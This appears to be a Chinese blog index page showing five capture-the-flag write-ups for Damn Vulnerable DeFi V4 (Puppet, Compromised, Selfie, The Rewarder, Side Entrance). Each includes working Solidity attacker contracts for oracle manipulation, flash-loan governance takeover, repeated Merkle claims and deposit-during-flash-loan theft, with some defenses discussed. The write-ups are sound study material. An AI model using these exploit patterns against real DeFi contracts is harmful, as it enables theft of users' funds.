首页
Search
1
yamux: how to work?
79 阅读
2
The Art of Memory Allocation: Malloc, Slab, C++ STL, and GoLang Memory Allocation
70 阅读
3
How to receive a network packet in Linux
63 阅读
4
Maps and Memory Leaks in Go
54 阅读
5
C++ redis connection pool
52 阅读
测试
Wireguard
K8s
Redis
C++
Golang
Libcurl
Tailscale
Nginx
Linux
web3
Uniswap V2
Uniswap V3
EVM
security
solidity
openzeppelin
登录
Search
标签搜索
web3
solidity
web3 security
c++
uniswapV3
redis
evm
uniswap
性能测试
k8s
wireguard
CNI
http
tailscale
nginx
linux
设计模式
Jericho
累计撰写
51
篇文章
累计收到
13
条评论
首页
栏目
测试
Wireguard
K8s
Redis
C++
Golang
Libcurl
Tailscale
Nginx
Linux
web3
Uniswap V2
Uniswap V3
EVM
security
solidity
openzeppelin
页面
搜索到
31
篇与
的结果
2025-09-02
Damn-vulnerable-defi-V4-solution(Puppet)
一、Puppet背景:有一个包含 10,000e18 代币的借贷pool。该pool允许使用 ETH 作为抵押品借入代币 DVT,抵押品的价值必须是借入金额的两倍。ETH 和 DVT 之间的价格取决于 Uniswap V1 池中的代币数量。我们的初始 DVT 数量为 1,000e18。Uniswap V1 是一个满足 x × y = k(常数)的 AMM,其中 x 为 ETH 数量,y 为代币数量。初始时 x = 10e18,y = 10e18,因此 k = 100e36。如果我们 swap 1,000e18 个代币,Uniswap V1 池中剩余 1,010e18 个代币,因此剩余 ETH数量为:$$ k / (x + dx) = 100e36 / (10e18 + 1000e18) = 10 / 101 × e18 $$ETH/DVT 之间的价格变为$$ 1010e18 / (10 / 101 × e18) = 10201 $$相当于一个 eth 可以换 10201 个 DVT。要获得 10,000e18 个代币,我们需要 10,000e18 × 2 / 10,201 ≤ 2e19。因此,我们只需要 20 个 ETH。这是可行的,因为我们初始有 25e18 个 ETH,并且可以通过兑换获得额外的 ETH。因此,这个数量是绰绰有余的。所以现在唯一的问题是挑战必须在单笔交易中完成。看来我们至少需要两笔交易:部署攻击者合约发送token给攻击者合约,完成剩余的攻击逻辑。事实证明,这两个步骤可以合二为一,因为该代币继承了 Solmate 的 ERC20 协议,该协议具有permit向指定消费者授予许可的功能。这遵循了 EIP-2612 标准。简单来说,我们可以创建一个许可,使用玩家的私钥对其进行预签名,然后将签名传递给攻击者,以完成代币的批准。token.permit(owner, spender, value, deadline, v, r, s)permit等价于:不用 owner 账户亲自发起交易,就能帮 owner 对 spender 执行一次 approve。普通 ERC20 流程:Player 调用 approve(attacker, amount) → 一笔交易(要 player 私钥签名+gas)。然后 attacker 才能用 transferFrom(player, attacker, amount) 转走代币。permit 流程(EIP-2612):Player 用自己的私钥离线签一个 message。Attacker 把签名拿到链上,调用 permit(...) → 代替 Player 完成 approve(attacker, amount)。结果:attacker 获得了对 Player 代币的操作权。也就是说,permit 是一个 meta-transaction:签名 + 任意人 relay。另一个重要的细节是,在使用部署合约时new Attacker(...),地址可以预先计算(因为它使用CREATE操作码),因为它只取决于部署者(player)和 nonce。攻击思路Player 签名一份 permit,授权 attacker 合约花费他的 token。Attacker 部署时携带 25 ETH + 签名参数。在构造函数里:用 permit 完成授权。transferFrom 把 Player 的 1000 token 拉过来。用 token 去砸 Uniswap 池子,操纵价格。借空 Puppet Pool 的 token,直接送到 recovery 地址。一切完成在 一笔交易:new Attacker(...) 里面。function test_puppet() public checkSolvedByPlayer { address deployedAddr = vm.computeCreateAddress(address(player), 0); bytes32 message = keccak256( abi.encodePacked( "\x19\x01", token.DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"), player, deployedAddr, PLAYER_INITIAL_TOKEN_BALANCE, 0, block.timestamp ) ) ) ); (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPrivateKey, message); new Attacker{value: 25 ether}(uniswapV1Exchange, lendingPool, token, v, r, s, recovery); }contract Attacker { constructor( IUniswapV1Exchange uniswapV1Exchange, PuppetPool lendingPool, DamnValuableToken token, uint8 v, bytes32 r, bytes32 s, address recovery ) payable { token.permit(msg.sender, address(this), 1000e18, block.timestamp, v, r, s); token.transferFrom(msg.sender, address(this), 1000e18); token.approve(address(uniswapV1Exchange), 1000e18); uniswapV1Exchange.tokenToEthSwapInput(1000e18, 1, block.timestamp); lendingPool.borrow{value: 20 ether}(100_000e18, recovery); } // receive() external payable {} // fallback() external payable {} }Solidity 的规则:合约在构造函数执行期间可以自动接收 ETH,即使没有 receive() 或 fallback()
2025年09月02日
2 阅读
0 评论
1 点赞
2025-09-02
Damn-vulnerable-defi-V4-solution(Compromised)
一、Compromised背景:我们有一家交易所正在出售一种名为“DVNFT”的NFT。该NFT的价格由基于三个来源的预言机获取,并设定为三个来源价格的中位数。如果我们将十六进制字符串解码为普通字符串,我们分别得到:MHg3ZDE1YmJhMjZjNTIzNjgzYmZjM2RjN2NkYzVkMWI4YTI3NDQ0NDc1OTdjZjRkYTE3MDVjZjZjOTkzMDYzNzQ0 MHg2OGJkMDIwYWQxODZiNjQ3YTY5MWM2YTVjMGMxNTI5ZjIxZWNkMDlkY2M0NTI0MTQwMmFjNjBiYTM3N2M0MTU5该字符串似乎是Base64编码的。解码后,我们得到:0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744 0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159这两个十六进制字符串都是 32 个字节,这意味着它们可能是私钥。我们可以用它vm.addr来查找每个私钥对应的地址,并查看这些地址是否与预言机的两个来源匹配。攻击思路:由于我们可以控制这两个来源,因此我们可以操纵 NFT 的价格,例如将其设定为 0 ETH(因此中间价也将为 0 ETH),并使用玩家的余额购买。之后,我们将 NFT 的价格调整回 999 ETH 并出售。 function test_compromised() public checkSolved { address chainlink1 = vm.addr(0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744); address chainlink2 = vm.addr(0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159); vm.prank(chainlink1); oracle.postPrice("DVNFT", 0); vm.prank(chainlink2); oracle.postPrice("DVNFT", 0); vm.prank(player); uint256 id = exchange.buyOne{value: 0.1 ether}(); vm.prank(chainlink1); oracle.postPrice("DVNFT", INITIAL_NFT_PRICE); vm.prank(chainlink2); oracle.postPrice("DVNFT", INITIAL_NFT_PRICE); vm.startPrank(player); nft.approve(address(exchange), id); exchange.sellOne(id); (bool success,) = payable(recovery).call{value: INITIAL_NFT_PRICE}(""); if (!success) revert(); vm.stopPrank(); }
2025年09月02日
2 阅读
0 评论
1 点赞
2025-09-01
Damn-vulnerable-defi-V4-solution(Selfie)
一、Selfie背景:有一个提供闪电贷功能的pool。该pool还设有紧急出口,可通过governance合约执行。该governance合约具有queueAction和executeAction功能。如果调用者获得超过半数的投票,则可以将(调用任意目标地址)的行为加入队列。成功加入队列的操作在等待两天后即可由任何人执行。governance系统通过 ERC20 投票实现,即投票数以每个持有者持有的代币数量为准。要获得投票权,必须进行委托操作并且可以委托给自己。该pool拥有 1,500,000e18 ERC20Votes 代币。总共有 2,000,000e18 代币。攻击思路:我们部署一个attacker合约,该合约通过闪电贷借入所有代币,并将投票委托给自己。由于代币在委托后会被返还,因此我们暂时拥有 75% 的投票权。然后,我们将一个调用emergencyExit该池的操作加入队列(由于我们拥有超过一半的投票权,因此允许这样做)。最后,等待 2 天后,我们执行队列中的操作并转移资金。contract Attacker { uint256 constant TOKENS_IN_POOL = 1_500_000e18; bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan"); SelfiePool pool; IERC20 token; SimpleGovernance governance; address recovery; address player; constructor(SelfiePool _pool, address _recovery, address _player) { pool = _pool; token = pool.token(); governance = pool.governance(); recovery = _recovery; player = _player; } function onFlashLoan(address, address, uint256 amount, uint256, bytes calldata) external returns (bytes32) { DamnValuableVotes(address(token)).delegate(address(this)); governance.queueAction(address(pool), 0, abi.encodeCall(pool.emergencyExit, (recovery))); token.approve(msg.sender, amount); return CALLBACK_SUCCESS; } function attack() external { pool.flashLoan(IERC3156FlashBorrower(address(this)), address(token), TOKENS_IN_POOL, ""); } } function test_selfie() public checkSolvedByPlayer { Attacker attacker = new Attacker(pool, recovery, player); attacker.attack(); vm.warp(block.timestamp + 2 days); governance.executeAction(1); }由于 SelfiePool 的实现是:它会在 onFlashLoan 调用完成后,自己调用 transferFrom,从借款人(也就是攻击合约)那里扣回借出去的代币,Attacker合约必须在 onFlashLoan 里执行:token.approve(msg.sender, amount);避免这种攻击的常见方法✅ 1. 使用 Snapshot 阻止闪电贷投票很多治理代币(例如 COMP、UNI)要求在 proposal 创建时 或 投票时,必须参考一个 过去区块的快照(snapshot block)。意义:投票权不是用当前余额,而是用某个固定的历史区块的余额。这样攻击者即使闪电贷借了代币,当前区块委托也没用,因为投票权参考的还是之前区块(攻击前他们没票)。在 OpenZeppelin 的 Governor 里就是这么设计的,默认用 getPastVotes(account, blockNumber)。✅ 2. 设置治理延迟 (governance delay)即使有了投票权,也不能立刻执行。Proposal 创建 → 投票期 → Timelock → 执行。Timelock 可以是 1 天、2 天甚至更久。攻击者用闪电贷只能在一个交易里完成借款和还款,无法跨天保持治理权。✅ 3. 禁止治理代币用于闪电贷SelfiePool 把治理代币放在池子里,还提供了闪电贷功能,本身就很危险。解决方法:治理代币不应当被闪电贷借出,或者闪电贷代币只允许稳定币、流动性代币,而不是治理代币。如果确实要借治理代币,可以在合约里显式禁止:require(address(token) != governanceToken, "Governance token cannot be flash loaned");✅ 4. 在治理逻辑里校验“投票权的稳定性”比如:要求代币持有 超过 X 个区块/时间 才有投票权。或者在提案时检查,投票权是否来自稳定持仓,而不是闪电贷瞬时余额。要避免这种攻击,常见防御手段有:投票权基于过去快照区块(最常见 & 主流做法);治理延迟 + Timelock,避免立刻生效;治理代币不能提供闪电贷;要求持币时长,防止瞬时治理。
2025年09月01日
3 阅读
0 评论
0 点赞
2025-09-01
Damn-vulnerable-defi-V4-solution(The Rewarder)
一、The Rewarder背景:奖励分配器将 DVT 和 WETH 奖励分配给 1,000 名接收者。接收者可以通过提交Merkle 树验证的来领取代币。当 Merkle 树确认叶节点证明与根节点对应时,奖励即被授予。分配器还具有_setClaimed跟踪申领是否已提交的功能。然而,分发器存在漏洞,我们的目标是将大部分剩余的代币挽救到recover账户。问题发生在TheRewarderDistributor合约的claimRewards函数中// Allow claiming rewards of multiple tokens in a single transaction function claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens) external { Claim memory inputClaim; IERC20 token; uint256 bitsSet; // accumulator uint256 amount; for (uint256 i = 0; i < inputClaims.length; i++) { inputClaim = inputClaims[i]; uint256 wordPosition = inputClaim.batchNumber / 256; uint256 bitPosition = inputClaim.batchNumber % 256; if (token != inputTokens[inputClaim.tokenIndex]) { if (address(token) != address(0)) { if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed(); } token = inputTokens[inputClaim.tokenIndex]; bitsSet = 1 << bitPosition; // set bit at given position amount = inputClaim.amount; } else { bitsSet = bitsSet | 1 << bitPosition; amount += inputClaim.amount; } // for the last claim if (i == inputClaims.length - 1) { if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed(); } bytes32 leaf = keccak256(abi.encodePacked(msg.sender, inputClaim.amount)); bytes32 root = distributions[token].roots[inputClaim.batchNumber]; if (!MerkleProof.verify(inputClaim.proof, root, leaf)) revert InvalidProof(); inputTokens[inputClaim.tokenIndex].transfer(msg.sender, inputClaim.amount); } }该_setClaimed函数应该在每次提交claim后调用,因为这可以防止重复提交相同的claim。然而,在函数ClaimRewards中,_setClaimed只有当 token与循环中的前一个 token不同或者我们处于循环的最后一次迭代时,才会调用。漏洞的本质:合约在对 claim 做 Merkle 验证之前就先修改链上状态(调用 _setClaimed),而后续的转账/验证又并没有依据 bitmap 再次检查,导致攻击者可以用特定排列的 inputClaims 把 remaining(剩余代币)一次性扣减很多次,然后再通过后续逐条的 MerkleProof.verify 与 transfer 实际领取这些金额因此,只要RewardDistributor代币数量足够,我们就可以重复提交同一种代币的claim申请。DVT 和 WETH 的认领申请是分别进行的。攻击步骤:从两个分发文件读出 merkle leaves(dvtLeaves、wethLeaves)。为固定的索引 188(也就是测试里的 player)生成两份 Claim(DVT/WETH),每份都有 batchNumber=0、amount、以及对应的 proof。计算能重复提交多少次这种 Claim 才能耗尽整批分发(dvtClaimsNum / wethClaimsNum)。构建一个很长的 Claim[](内容都是同一个 Claim 重复多次)和对应的 IERC20[](每项都指向对应 token)。调用 distributor.claimRewards(dvtInputClaims, dvtInputTokens)(对 DVT)和同理对 WETH。最后把玩家地址的 DVT/WETH 全部 transfer 到 recovery。换句话说:测试用同一个有效 proof 多次批量提交去多次领取整批空投,从而把合约里的代币领空。function test_theRewarder() public checkSolvedByPlayer { // player address // 0x44E97aF4418b7a17AABD8090bEA0A471a366305C // index 188 uint256 dvtAmount = 11524763827831882; uint256 wethAmount = 1171088749244340; bytes32[] memory dvtLeaves = _loadRewards("/test/the-rewarder/dvt-distribution.json"); bytes32[] memory wethLeaves = _loadRewards("/test/the-rewarder/weth-distribution.json"); // the claim we repeatedly file for each token Claim memory dvtClaim = Claim({batchNumber:0, amount:dvtAmount, tokenIndex:0, proof:merkle.getProof(dvtLeaves, 188)}); Claim memory wethClaim = Claim({batchNumber:0, amount:wethAmount, tokenIndex:1, proof:merkle.getProof(wethLeaves, 188)}); uint256 dvtClaimsNum = (TOTAL_DVT_DISTRIBUTION_AMOUNT - ALICE_DVT_CLAIM_AMOUNT) / dvtAmount; uint256 wethClaimsNum = (TOTAL_WETH_DISTRIBUTION_AMOUNT - ALICE_WETH_CLAIM_AMOUNT) / wethAmount; Claim[] memory dvtInputClaims = new Claim[](dvtClaimsNum); Claim[] memory wethInputClaims = new Claim[](wethClaimsNum); IERC20[] memory dvtInputTokens = new IERC20[](dvtClaimsNum); IERC20[] memory wethInputTokens = new IERC20[](wethClaimsNum); // file repeated claims for dvt for (uint256 i = 0; i < dvtClaimsNum; i++) { dvtInputClaims[i] = dvtClaim; dvtInputTokens[i] = IERC20(address(dvt)); } // file repeated claims for weth for (uint256 i = 0; i < wethClaimsNum; i++) { wethInputClaims[i] = wethClaim; wethInputTokens[i] = IERC20(address(weth)); } distributor.claimRewards(dvtInputClaims, dvtInputTokens); distributor.claimRewards(wethInputClaims, wethInputTokens); dvt.transfer(recovery, dvt.balanceOf(player)); weth.transfer(recovery, weth.balanceOf(player)); } 给出一个安全的 claimRewards 伪实现function claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens) external nonReentrant { for (uint i = 0; i < inputClaims.length; i++) { Claim memory c = inputClaims[i]; IERC20 token = inputTokens[c.tokenIndex]; // 验证 proof FIRST bytes32 leaf = keccak256(abi.encodePacked(msg.sender, c.amount)); bytes32 root = distributions[token].roots[c.batchNumber]; if (!MerkleProof.verify(c.proof, root, leaf)) revert InvalidProof(); // 检查是否已领取 uint256 wordPosition = c.batchNumber / 256; uint256 bitPosition = c.batchNumber % 256; uint256 mask = (uint256(1) << bitPosition); uint256 current = distributions[token].claims[msg.sender][wordPosition]; if ((current & mask) != 0) revert AlreadyClaimed(); // 标记并扣减 remaining distributions[token].claims[msg.sender][wordPosition] = current | mask; if (distributions[token].remaining < c.amount) revert NotEnoughTokensToDistribute(); distributions[token].remaining -= c.amount; // 转账 token.transfer(msg.sender, c.amount); } }每个 claim 都是独立、原子的:先验证 → 再写状态 → 再转账。
2025年09月01日
1 阅读
0 评论
1 点赞
2025-09-01
Damn-vulnerable-defi-V4-solution(Side Entrance)
一、Side Entrance背景:我们有一个pool,允许任何人存入 ETH 并随时提取,它还提供闪电贷。function flashLoan(uint256 amount) external { uint256 balanceBefore = address(this).balance; IFlashLoanEtherReceiver(msg.sender).execute{value: amount}(); if (address(this).balance < balanceBefore) { revert RepayFailed(); } }闪电贷回调接口为 execute,我们需要实现。interface IFlashLoanEtherReceiver { function execute() external payable; }我们借贷需要保证归还 RTHif (address(this).balance < balanceBefore) { revert RepayFailed(); }我们可以使用 deposit 和 withdraw 函数function deposit() external payable { unchecked { balances[msg.sender] += msg.value; } emit Deposit(msg.sender, msg.value); } function withdraw() external { uint256 amount = balances[msg.sender]; delete balances[msg.sender]; emit Withdraw(msg.sender, amount); SafeTransferLib.safeTransferETH(msg.sender, amount); }攻击逻辑:我们使用闪电贷来调用我们自己实现的execute,我们的execute通过将所有借入的 ETH deposit到 pool 中,pool 只会判断借贷前后pool 中的以太数量有没有减少,这会让池子认为我们借贷已经归还了 ETH。由于这些 ETH 是我们自己deposit到 pool 中的,所以 pool 中会保存balances[msg.sender]我们拥有的 ETH 数量,我们直接调用withdraw并将资金转入 recover账户即可完成挑战。我们需要部署一个能够实现execute()其他功能的合约contract Attacker { error Attacker__FailedTransaction(); SideEntranceLenderPool pool; address recover; constructor(SideEntranceLenderPool _pool, address _recover) { pool = _pool; recover = _recover; } function execute() external payable { pool.deposit{value: msg.value}(); } function attack() external { pool.flashLoan(1000e18); pool.withdraw(); (bool success,) = recover.call{value: address(this).balance}(""); if (!success) revert Attacker__FailedTransaction(); } receive() external payable {} // 注意必须存在 receive 函数不然没法接受任何转账 } function test_sideEntrance() public checkSolvedByPlayer { Attacker attacker = new Attacker(pool, recovery); attacker.attack(); }
2025年09月01日
2 阅读
0 评论
1 点赞
1
2
3
4
...
7